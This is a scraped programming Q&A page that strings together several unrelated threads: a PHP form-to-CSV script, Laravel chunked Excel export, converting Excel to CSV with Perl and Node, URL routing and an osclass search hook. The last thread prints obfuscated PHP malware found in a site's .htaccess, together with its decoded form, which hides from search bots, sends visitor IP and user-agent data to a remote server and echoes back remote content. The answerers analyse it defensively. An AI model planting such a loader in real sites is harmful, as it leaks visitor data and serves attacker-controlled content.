Webforms in excel instead of e-mail - excel

A client of mine asked me if i can find a solution for this problem.
His website (still a WIP) http://welkommagazine.nl/luuk/ has a form. The form obviously uses a sendmail script to send the form to e-mail. From thereon he manually copy/pastes all the submissions to excel.
What he wants is that the forms online automaticcaly are added to an excel document to save him a lot of work.
Now i am not a programmer, but a designer.. I think this can be done, but i have absolutely no clue how. I googled alot for it and the only thing i found was a dreamweaverplugin.
Is there a way to do this, if so, how?

Not a programmer's response, but...
I think an easy solution is to use Google docs. You can set-up a Google Spreadsheet and associate a form to it. Whenever a user fills the form , his data is added to the spreadsheet.
Your client may download that anytime.
There are some other providers on the market, some free, some not. E.g: wufoo.com

Found the answer myself. I wrote a PHP code snippet which actually stores the fields comma seperated in a CSV file and sends an email to a desired adress with the filled in fields.
if(isset($_POST['Submit'])){
$pakket = $_POST['pakket'];
$extragidsen = $_POST['extragidsen'];
$naambedrijf = $_POST['naambedrijf'];
$err = '';
if(trim($pakket)==''){
$err .= '-Please enter a name';
}
if(empty($extragidsen)){
$err .= '-Please enter an email address';
}
if(strlen($naambedrijf)==0){
$err .= '-Please enter a comment';
}
if($err!=''){
echo $err;
}
else{
$filename = 'file.csv';
$somecontent = $pakket . ',' . $extragidsen . ',' . $naambedrijf . "\n";
// Let's make sure the file exists and is writable first.
if (is_writable($filename)) {
// In our example we're opening $filename in append mode.
// The file pointer is at the bottom of the file hence
// that's where $somecontent will go when we fwrite() it.
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}
// Write $somecontent to our opened file.
if (fwrite($handle, $somecontent) === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}
//--------------------------Set these paramaters--------------------------
// Subject of email sent to you.
$subject = 'Inschrijving welkom';
// Your email address. This is where the form information will be sent.
$emailadd = 'luuk#luukratief.com';
// Where to redirect after form is processed.
$url = 'http://www.google.com';
// Makes all fields required. If set to '1' no field can not be empty. If set to '0' any or all fields can be empty.
$req = '0';
// --------------------------Do not edit below this line--------------------------
$text = "Results from form:\n\n";
$space = ' ';
$line = '
';
foreach ($_POST as $key => $value)
{
if ($req == '1')
{
if ($value == '')
{echo "$key is empty";die;}
}
$j = strlen($key);
if ($j >= 20)
{echo "Name of form element $key cannot be longer than 20 characters";die;}
$j = 20 - $j;
for ($i = 1; $i ';
fclose($handle);
} else {
echo "The file $filename is not writable";
}
}
}
Maybe the code aint that clean as it can be, but eh it works.
Feel free to clean up the code if you want to :)
I guessed I would answer this myself for the community...
BTW u need to set "write" rights to "file.csv"
cheers

Related

Chunk and excel Laravel

guys.
I need help with this code. I need to download an excel with arround 550000 records. So i was wondering how can i use eloquent with chunk, skip and limit and get to make the excel or do something better than this. I started to making some code to save excel in a folder and then download in a zip, but i cant make works chunk and get.
I had problems with time execution and memory limit, but thats no more a problem.
This is my code.
$x=1;
for ($i=0; $i<=550000; $i=$i+15000) {
$personas="";
$personas = DB::table("cat_personas as c")->select("c.*","s.seccion","ca.casilla")
->leftJoin("cat_casillas as ca","c.cat_casilla_id","=","ca.id")
->join("cat_seccion as s","c.cat_seccion_id","=","s.id")
->where($filtros)
->whereRaw("c.id NOT IN ( SELECT cruzado FROM registro_persona )")
->whereRaw($whereCadena)
->orderby('c.consecutivo')
->orderby('c.apellido_paterno')
->orderby('c.apellido_materno')
->orderby('c.nombre')
->orderby('s.seccion')
->orderby('ca.casilla')
->skip($i)->limit(15000);
//$personas=$personas->get();
dd($personas->count());
if($personas->count()>0){
$spreadsheet = new Spreadsheet();
$r=1;
$sheet = $spreadsheet->getActiveSheet()
->setCellValue('A'.$r, '#')
->setCellValue('B'.$r, 'NOMBRE')
->setCellValue('C'.$r, 'APELLIDO PATERNO')
->setCellValue('D'.$r, 'APELLIDO MATERNO')
->setCellValue('E'.$r, 'SECCION')
->setCellValue('F'.$r, 'CASILLA')
->setCellValue('G'.$r, 'CONSECUTIVO');
$r++;
$personas->chunk(5000, function($personas) use (&$spreadsheet,&$r,&$sheet) {
$c=1;
//dd($personas->count());
foreach ($personas as $key) {
$sheet = $spreadsheet->getActiveSheet()
->setCellValue('A'.$r, $c)
->setCellValue('B'.$r, $key->nombre)
->setCellValue('C'.$r, $key->apellido_paterno)
->set`enter code here`CellValue('D'.$r, $key->apellido_materno)
->setCellValue('E'.$r, $key->seccion)
->setCellValue('F'.$r, $key->casilla)
->setCellValue('G'.$r, $key->consecutivo);
$r++;
$c++;
}
});
$writer = new Xlsx($spreadsheet);
//header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
//header('Content-Disposition: attachment; filename="personas.xlsx"');
$writer->save($path."/personas$x.xlsx");
$x++;
}
}
You can use chunk() this way.
$personas = DB::table("cat_personas as c")->select("c.*","s.seccion","ca.casilla")
->leftJoin("cat_casillas as ca","c.cat_casilla_id","=","ca.id")
->join("cat_seccion as s","c.cat_seccion_id","=","s.id")
->where($filtros)
->whereRaw("c.id NOT IN ( SELECT cruzado FROM registro_persona )")
->whereRaw($whereCadena)
->orderby('c.consecutivo')
->orderby('c.apellido_paterno')
->orderby('c.apellido_materno')
->orderby('c.nombre')
->orderby('s.seccion')
->orderby('ca.casilla');
$spreadsheet = new Spreadsheet();
$r = 1;
$sheet = $spreadsheet->getActiveSheet()
->setCellValue('A'.$r, '#')
->setCellValue('B'.$r, 'NOMBRE')
->setCellValue('C'.$r, 'APELLIDO PATERNO')
->setCellValue('D'.$r, 'APELLIDO MATERNO')
->setCellValue('E'.$r, 'SECCION')
->setCellValue('F'.$r, 'CASILLA')
->setCellValue('G'.$r, 'CONSECUTIVO');
$r++;
$c = 1;
$personas->chunk(500, function($personae) use ($spreadsheet, $r, $c) {
foreach ($personae as $persona) {
$spreadsheet->getActiveSheet()
->setCellValue('A'.$r, $c)
->setCellValue('B'.$r, $persona->nombre)
->setCellValue('C'.$r, $persona->apellido_paterno)
->setCellValue('D'.$r, $persona->apellido_materno)
->setCellValue('E'.$r, $persona->seccion)
->setCellValue('F'.$r, $persona->casilla)
->setCellValue('G'.$r, $persona->consecutivo);
$r++;
$c++;
}
});
$writer = new Xlsx($spreadsheet);
$writer->save($path . "/personas.xlsx");
There might be an issue with the total size of the spreadsheet, but if so, this should be a good start towards finding that solution.
PS - This is untested.

How to Flatten / Recompile Excel Spreadsheet Using sheetjs or exceljs on Write

We use excel as a configuration file for clients. However, our processes only run on linux servers. We need to take a master file, update all the client workbooks with the new information, and commit to GitLab. The users then check it out, add their own changes, commit back to GitLab and a process promotes the workbook to Server A.
This process works great using nodeJS (exceljs)
Another process on a different server is using perl to pick up the workbook and then saves each sheet as a csv file.
The problem is, what gets written out is the data from the ORIGINAL worksheet and not the updated changes. This is true of both perl and nodejs. Code for perl and nodejs xlsx to csv is at the end of the post.
Modules Tried:
perl : Spreadsheet::ParseExcel; Spreadsheet::XLSX;
nodejs: node-xlsx, exceljs
I assume it has to do with Microsoft using XML inside the excel wrapper, it keeps the old version as history and since it was the original sheet name, it gets pulled instead of the updated latest version.
When I manually open in Excel, everything is correct with the new info as expected.
When I use "Save as..." instead of "Save" then the perl process is able to correctly write out the updated worksheet as csv. So our workaround is having the users always "Save as.." before committing their extra changes to GitLab. We'd like to rely on training, but the sheer number of users and clients makes trusting that the user will "Save AS..." is not practical.
Is there a way to replicate a "Save As..." during my promotion to Server A or at least be able to tell if the file had been saved correctly? I'd like to stick with excelJS, but I'll use whatever is necessary to replicate the "Save as..." which seems to recompile the workbook.
In addition to nodejs, I can use perl, python, ruby - whatever it takes - to make sure the csv creation process picks up the new changes.
Thanks for your time and help.
#!/usr/bin/env perl
use strict;
use warnings;
use Carp;
use Getopt::Long;
use Pod::Usage;
use File::Basename qw/fileparse/;
use File::Spec;
use Spreadsheet::ParseExcel;
use Spreadsheet::XLSX;
use Getopt::Std;
my %args = ();
my $help = undef;
GetOptions(
\%args,
'excel=s',
'sheet=s',
'man|help'=>\$help,
) or die pod2usage(1);
pod2usage(1) if $help;
pod2usage(-verbose=>2, exitstatus=>0, output=>\*STDOUT) unless $args{excel} || $args{sheet};
pod2usage(3) if $help;
pod2usage(-verbose=>2, exitstatus=>3, output=>\*STDOUT) unless $args{excel};
if (_getSuffix($args{excel}) eq ".xls") {
my $file = File::Spec->rel2abs($args{excel});
if (-e $file) {
print _XLS(file=>$file, sheet=>$args{sheet});
} else {
exit 1;
die "Error: Can not find excel file. Please check for exact excel file name and location. \nError: This Program is CASE SENSITIVE. \n";
}
}
elsif (_getSuffix($args{excel}) eq ".xlsx") {
my $file = File::Spec->rel2abs($args{excel});
if (-e $file) {
print _XLSX(file=>$file, sheet=>$args{sheet});
}
else {
exit 1;
die "\nError: Can not find excel file. Please check for exact excel file name and location. \nError: This Program is CASE SENSITIVE.\n";
}
}
else {
exit 5;
}
sub _XLS {
my %opts = (
file => undef,
sheet => undef,
#_,
);
my $aggregated = ();
my $parser = Spreadsheet::ParseExcel->new();
my $workbook = $parser->parse($opts{file});
if (!defined $workbook) {
exit 3;
croak "Error: Workbook not found";
}
foreach my $worksheet ($workbook->worksheet($opts{sheet})) {
if (!defined $worksheet) {
exit 2;
croak "\nError: Worksheet name doesn't exist in the Excel File. Please check the WorkSheet Name. \nError: This program is CASE SENSITIVE.\n\n";
}
my ($row_min, $row_max) = $worksheet->row_range();
my ($col_min, $col_max) = $worksheet->col_range();
foreach my $row ($row_min .. $row_max){
foreach my $col ($col_min .. $col_max){
my $cell = $worksheet->get_cell($row, $col);
if ($cell) {
$aggregated .= $cell->value().',';
}
else {
$aggregated .= ',';
}
}
$aggregated .= "\n";
}
}
return $aggregated;
}
sub _XLSX {
eval {
my %opts = (
file => undef,
sheet => undef,
#_,
);
my $aggregated_x = ();
my $excel = Spreadsheet::XLSX->new($opts{file});
foreach my $sheet ($excel->worksheet($opts{sheet})) {
if (!defined $sheet) {
exit 2;
croak "Error: WorkSheet not found";
}
if ( $sheet->{Name} eq $opts{sheet}) {
$sheet->{MaxRow} ||= $sheet->{MinRow};
foreach my $row ($sheet->{MinRow} .. $sheet->{MaxRow}) {
$sheet->{MaxCol} ||= $sheet->{MinCol};
foreach my $col ($sheet->{MinCol} .. $sheet->{MaxCol}) {
my $cell = $sheet->{Cells}->[$row]->[$col];
if ($cell) {
$aggregated_x .= $cell->{Val}.',';
}
else {
$aggregated_x .= ',';
}
}
$aggregated_x .= "\n";
}
}
}
return $aggregated_x;
}
};
if ($#) {
exit 3;
}
sub _getSuffix {
my $f = shift;
my ($basename, $dirname, $ext) = fileparse($f, qr/\.[^\.]*$/);
return $ext;
}
sub _convertlwr{
my $f = shift;
my ($basename, $dirname, $ext) = fileparse($f, qr/\.[^\.]*$/);
return $ext;
}
var xlsx = require('node-xlsx')
var fs = require('fs')
var obj = xlsx.parse(__dirname + '/test2.xlsx') // parses a file
var rows = []
var writeStr = ""
//looping through all sheets
for(var i = 0; i < obj.length; i++)
{
var sheet = obj[i]
//loop through all rows in the sheet
for(var j = 0; j < sheet['data'].length; j++)
{
//add the row to the rows array
rows.push(sheet['data'][j])
}
}
//creates the csv string to write it to a file
for(var i = 0; i < rows.length; i++)
{
writeStr += rows[i].join(",") + "\n"
}
//writes to a file, but you will presumably send the csv as a
//response instead
fs.writeFile(__dirname + "/test2.csv", writeStr, function(err) {
if(err) {
return console.log(err)
}
console.log("test.csv was saved in the current directory!")
The answer is its impossible. In order to update data inside a workbook that has excel functions, you must open it in Excel for the formulas to trigger. It's that simple.
You could pull the workbook apart, create your own javascript functions, run the data through it and then write it out, but there are so many possible issues that it is not recommended.
Perhaps one day Microsoft will release a linux Excel engine API for linux. But its still unlikely that such a thing would work via command line without invoking the GUI.

How to allow text after a url

Im having trouble with my XAMPP website. I want to make a sort of profile like thing where users type (for example) https://howcoolitis.net/profile/useridhere
but that ends up just giving an error.
To be sincere, for the i have tried thing, There is not anything that i have tried apart from google searching similar like items, I don't really know what it is called to be honest, since i have never used it before but I want to use it.
if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on')
$url = "https";
else
$url = "http";
// Here append the common URL characters.
$url .= "://";
// Append the host(domain name, ip) to the URL.
$url .= $_SERVER['HTTP_HOST'];
// Append the requested resource location to the URL
$url .= $_SERVER['REQUEST_URI'];
// Print the link
$pos = strrpos($url, '/');
$search = $pos === false ? $url : substr($url, $pos + 1);
I was expecting for it to just give me the text after the url but it just gives a 404.

Search shows nothing if user types category name in search bar in osclass

I hope this will help others too.
The search bar shows nothing if a user types category/sub-category name in the search bar.
I know there is a separate field for selecting category/sub-category along with the search bar but in my case i have only a single search bar and when i search by typing the category/sub-category name the search shows me 0 results found even though i have items in the category/sub-category.
Is there anyone could assist me the solution please
The search in osclass is made by title and description only. If you insert the category name into the description then it will work as you want.
In your theme's functions.php file, add to the end
<?php
function endsWith($haystack, $needle)
{
$length = strlen($needle);
return $length === 0 ||
(substr($haystack, -$length) === $needle);
}
function mc_addcategory($desc, $catId) {
$Cat = Category::newInstance()->toRootTree($catId);
$d = '\n\n ';
foreach($Cat as $c) {
$d = $d . $c["s_name"] .' / ';
}
if(endsWith($desc, $d))
return $desc;
else return $desc . $d;
}
function mc_filter_description($aItem) {
foreach(#$aItem['description'] as $key => $value) {
$aItem['description'][$key] = mc_addcategory($value,$aItem['catId']);
}
return $aItem;
}
osc_add_filter('item_add_prepare_data', 'mc_filter_description');
osc_add_filter('item_edit_prepare_data', 'mc_filter_description');
?>
Step 2
You would want to remove the added text from description when displaying the description to the public and to the owner when it edits hi's item.
You can do that with a function
Put this before the above code in functions.php
<?php
function mc_hide_categ_in_description($desc, $catId) {
$Cat = Category::newInstance()->toRootTree($catId);
$d = '\n\n ';
foreach($Cat as $c) {
$d = $d . $c["s_name"] .' / ';
}
if(endsWith($desc, $d))
return str_replace($d,'',$desc);
else return $desc;
}
?>
and call this function where the description is shown. Have a look here
How to modify ft_min_word_len=4 to ft_min_word_len=1 so that osclass 3.7.1 can search min 1 character word, instead of 4?
And see where I call 'removeunderline(' for description.
OBS
After this you must update the descriptions in your db by editing and saving each item.
This will work if the item is edited and it's category is changed by user.
If the admin makes the editing and the above function can't be called from oc-admin/themes/modern... files, the last function from above must be placed in /oc-includes/osclass/helpers/hSearch.php and removed from functions.php file.

What does function s37 in htaccess do?

Found a code this morning encoded under several layers attached to a website I administer's .htaccess. The code reads as follows:
function s37($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(s37(';"ni"=73c$;"ptth"=73h$;"stats"=73z$'));eval(s37(';]"TNEGA_RESU_PTTH"[REVRES_$=3au$'));eval(s37(';)"relbmaR" ,"xednaY" ,"revihcra_ai" ,"toBNSM" ,"prulS" ,"elgooG"(yarra = 73u$'));eval(s37('}};lru$ ohce;]1[lru$ = lru$ ;)lru$,"!og!"(edolpxe = lru${))"!og!",lru$(rtsrts( fi;))]"TSOH_PTTH"[REVRES_$(edocnelru."=h&".)3au$(edocnelru."=b&".]"RDDA_ETOMER"[REVRES_$."=i"."?p"."hp.".73c$."/73c$.".73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$.73c$."//".":".73h$(stnetnoc_teg_elif# = lru$ ;)00801+)(emit,)"stats"(5dm,73z$(eikooctes# { esle }{ )))]73z$[EIKOOC_$(tessi( ro ))3au$ ,"i/" . )73u$ ,"|"(edolpmi . "/"(hctam_gerp((fi'));
Clearly details of the function are written in reverse. It looks like it is sending log information to a remote server. Anyone familiar with this code or what it is doing?
Looks like pretty heavily obfuscated stat-tracking code, but I'm more inclined to say it's malicious. s37, as noted, reverses the string:
function s37($s)
{
$e = "";
for ($a = 0; $a <= strlen($s)-1; $a++ )
{
$e .= $s{strlen($s)-$a-1};
}
return($e);
}
This, in turn, generates the following code:
$z37="stats";
$h37="http";
$c37="in";
$ua3=$_SERVER["HTTP_USER_AGENT"];
$u37 = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if((preg_match("/" . implode("|", $u37) . "/i", $ua3)) or (isset($_COOKIE[$z37])))
{
}
else
{
#setcookie($z37,md5("stats"),time()+10800);
$url = #file_get_contents($h37.":"."//".$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.$c37.".$c37/".$c37.".ph"."p?"."i=".$_SERVER["REMOTE_ADDR"]."&b=".urlencode($ua3)."&h=".urlencode($_SERVER["HTTP_HOST"]));
if (strstr($url,"!go!"))
{
$url = explode("!go!",$url);
$url = $url[1];
echo $url;
}
}
The user-agent matching stuff prevents search engine bots from running the code. Otherwise, for browsers, a cookie gets set, then some code gets downloaded from a remote server and echoed out. The purpose of the code that's downloaded is hard to ascertain without more info.
function s37 reverses the supplied string. function s37 doe only go for the first little bit of the line of code though...

Resources